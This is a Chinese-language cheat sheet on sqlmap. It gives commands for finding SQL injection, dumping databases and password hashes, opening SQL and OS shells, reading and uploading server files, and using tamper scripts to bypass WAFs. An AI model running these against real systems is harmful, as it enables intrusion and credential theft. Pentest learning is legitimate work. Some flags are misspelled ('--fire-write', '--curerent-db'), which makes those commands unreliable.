目录
6、--os-cmd,--os-shell:运行任意操作系统的命令
8、 --fire-write --file-dest:上传文件到数据库服务器中
sqlmap是一个自动化的SQL注入工具,主要功能是扫描、发现,并利用给定url的SQL注入漏洞。
sqlmap.py -u url
(如果注入点后面的参数大于等于两个,需要加双引号)
Sqlmap.py -r desktop/1.txt
一般在存在cookies注入的情况下使用
sqlmap.py -u url --dbs
确定网站存在注入后,用于查询当前用户下的所有数据库。如果当前用户有权限读取包含所有数据库列表信息的表,使用该命令就可以列出所有相关数据库。
sqlmap.py -u “url” -D dkeye(具体数据库) --tables
如果不加入-D来指定某一个数据库,那么会列出数据库中的所有的表。继续注入时缩写成—T,在某表中继续查询
sqlmap.py -u “url” -D dkeye -T user_info(具体表名) --columns
查询完表名后,查询该表中的字段名,在后续的注入中,—columns缩写成-C
sqlmap.py -u “url” -D dkeye -T user_info(具体表名) -C usrname password(具体字段) --dump
sqlmap.py -u url --users
列出数据库所有用户,如果当前用户有权限读取包含所有用户的表的权限时,使用该命令就可以列出所有管理用户。
sqlmap.py -u url --passwords
如果当前用户有读取包含用户密码的权限,sqlmap会先例举出用户,然后列出hash,并尝试破解。
sqlmap.py -u url --curerent-db
使用该命令可以列出当前网站使用的数据库
sqlmap.py -u url --current-user
使用该命令可以列出当前网站使用的数据库用户
参数 -- level 指需要执行的测试等级,一共有5个等级(1-5),可以不加level。默认是1。
http cookies在level为2时就会测试, user-Agent/Referer在level为3时就会测试。
sqlmap.py -u url --is-dba
如果是数据库管理员账户,会返回true
该命令仅适用于数据库时oracle时
sqlmap可以在请求中伪造http中的referer,当--level参数设定为3或者3以上时,会尝试对referer进行注入。可以通过referer的命令来欺骗,比如--referer http://www.baidu.com
该命令被用于执行指定的sql语句
shell来指定语句
sqlmap.py -u url --sql-shell
该命令用于读取执行文件
sqlmap.py -u url \--file-read "c:/examplr.exe" -v 1
写入本地文件到服务器中,如果使用的数据库为mysql、postgresql、microsoft sql server ,并且当前用户有权限使用特定的函数时,上传的文件可以是文本,也可以是二进制文件。
sqlmap在默认情况下除了使用CHAR()函数防止出现单引号,没有对注入的数据进行修改。我们可以通过--tamper参数对数据作修改来绕过WAF等设备
命令方式:
sqlmap.py XXXXXX --tamper “模块名”
在日常使用中我们可以用参数--identify-waf进行检测
- apostrophemask.py 过滤单引号,把单引号换为UTF-8
-
- base64encode.py 替换为base64编码
-
- multiplespaces.py 围绕sql关键字添加多个空格
-
- space2plus.py 用+来替换空格
-
- nonrecursivereplacement.py 用双重语句替代预定义的sql关键字
-
- 。。。。。。
tamper脚本过多,我们可以在需要的时候自己去寻找,也可以自己编写去应对各种复杂的环境